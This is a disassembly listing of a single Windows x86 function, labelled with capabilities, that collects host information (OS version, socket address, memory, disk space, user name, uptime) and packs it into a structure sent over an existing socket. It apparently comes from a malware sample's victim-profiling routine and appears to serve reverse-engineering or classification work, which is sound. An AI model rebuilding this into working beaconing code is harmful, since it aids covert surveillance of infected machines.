Function at 0x10012918
Capabilities:
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get session user name
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x630], eax
push edi
lea eax, [ebp - 0x620]
xor ebx, ebx
push eax
mov dword [ebp - 0x638], esi
mov byte [ebp - 0x624], 0x66
mov byte [ebp - 0x546], bl
mov dword [ebp - 0x620], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x618]
push eax
lea eax, [ebp - 0x61c]
push eax
call fcn.100128ce
mov edi, 0x100
push edi
lea eax, [ebp - 0x344]
push eax
push dword [ebp - 0x630]
call fcn.10012316
push 0x10
lea eax, [ebp - 0x354]
push ebx
push eax
call fcn.10102140
add esp, 0x24
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x354]
push eax
push dword [esi + 0xa8]
mov dword [ebp - 0x63c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x57c]
push eax
call fcn.10102780
push 0x32
lea eax, [ebp - 0x344]
push eax
lea eax, [ebp - 0x578]
push eax
call fcn.10102780
add esp, 0x18
call fcn.1001200d
mov dword [ebp - 0x584], eax
lea eax, [ebp - 0x678]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x580], eax
lea eax, [ebp - 0x394]
push eax
mov dword [ebp - 0x394], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x388]
shrd eax, ecx, 0x14
shr ecx, 0x14
mov dword [ebp - 0x53c], eax
xor esi, esi
mov dword [ebp - 0x628], ebx
mov al, byte [ebp - 0x628]
add al, 0x42
mov byte [ebp - 0x18], al
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x17], 0x5c3a
mov byte [ebp - 0x15], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x10012aae
lea eax, [ebp - 0x654]
push eax
lea eax, [ebp - 0x644]
push eax
lea eax, [ebp - 0x64c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [ebp - 0x644]
mov ecx, dword [ebp - 0x640]
shrd eax, ecx, 0x14
shr ecx, 0x14
add esi, eax
inc dword [ebp - 0x628]
cmp dword [ebp - 0x628], 0x1a
jl 0x10012a57
mov dword [ebp - 0x538], esi
call fcn.1001220b
mov byte [ebp - 0x546], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x544], eax
call fcn.10012293
mov dword [ebp - 0x540], eax
call fcn.1001221d
mov dword [ebp - 0x4c0], eax
call fcn.100124a9
mov dword [ebp - 0x3cc], eax
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x3c8]
push eax
mov dword [ebp - 0x634], 0x32
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.10012517
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x46c]
push eax
call esi
call fcn.100125b7
push eax
lea eax, [ebp - 0x444]
push eax
call esi
call fcn.100126ca
push eax
lea eax, [ebp - 0x41c]
push eax
call esi
call fcn.1001282f
push eax
lea eax, [ebp - 0x4bc]
push eax
call esi
mov word [ebp - 0x62c], 0x6425
mov byte [ebp - 0x62a], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0xe0]
push eax
mov dword [ebp - 0x628], edx
call esi
mov eax, dword [ebp - 0x628]
xor edx, edx
mov ecx, 0x36ee80
div ecx
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x144]
push eax
mov dword [ebp - 0x628], edx
call esi
mov eax, dword [ebp - 0x628]
xor edx, edx
mov ecx, 0xea60
div ecx
push eax
lea eax, [ebp - 0x62c]
push eax
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0xe0]
push eax
push 0x1012e638
lea eax, [ebp - 0x502]
push eax
call esi
push str.6RD6CfT29A3zCaY
call fcn.10011fd7
push eax
lea eax, [ebp - 0x4e2]
push eax
call fcn.101045d0
add esp, 0x44
push edi
lea eax, [ebp - 0x244]
push eax
push dword [ebp - 0x630]
mov dword [ebp - 0xc], 0x61666544
mov dword [ebp - 8], 0x746c75
call fcn.10012416
add esp, 0xc
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10012c48
push str.6gkIBfkSqY
call fcn.10011fd7
pop ecx
jmp 0x10012c4e
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x534]
push eax
call fcn.101045d0
pop ecx
pop ecx
mov ecx, dword [ebp - 0x638]
push 0x290
lea eax, [ebp - 0x624]
push eax
call fcn.10013b09
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1010259e
leave
ret